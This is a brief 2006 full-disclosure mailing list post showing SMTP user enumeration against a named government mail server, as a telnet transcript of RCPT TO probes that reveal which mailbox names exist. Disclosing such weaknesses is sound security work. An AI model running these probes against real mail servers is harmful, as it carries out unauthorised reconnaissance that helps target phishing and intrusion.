[Full-disclosure] User Enumeration Flaw

[Mar.Shatz at education.gov.il]

whitehouse.gov          MX      100 mailhub-wh2.whitehouse.gov
noone at box:~$ 
noone at box:~$ telnet mailhub-wh2.whitehouse.gov 25
Trying 63.161.169.140...
Connected to mailhub-wh2.whitehouse.gov.
Escape character is '^]'.
220 whitehouse.gov ESMTP service at Sun, 12 Feb 2006 11:29:38 -0500 (EST)
helo jojo
250 esgeop03.whitehouse.gov Hello [xxx.xxx.xxx.xxx], pleased to meet you
mail from:bob at com.com
250 2.1.0 bob at com.com... Sender ok
rcpt to:gbush at whitehouse.gov
550 5.1.1 gbush at whitehouse.gov... User unknown
rcpt to:president at whitehouse.gov
250 2.1.5 president at whitehouse.gov... Recipient ok
quit
221 2.0.0 esgeop03.whitehouse.gov closing connection
Connection closed by foreign host.

User enumeration at the whitehouse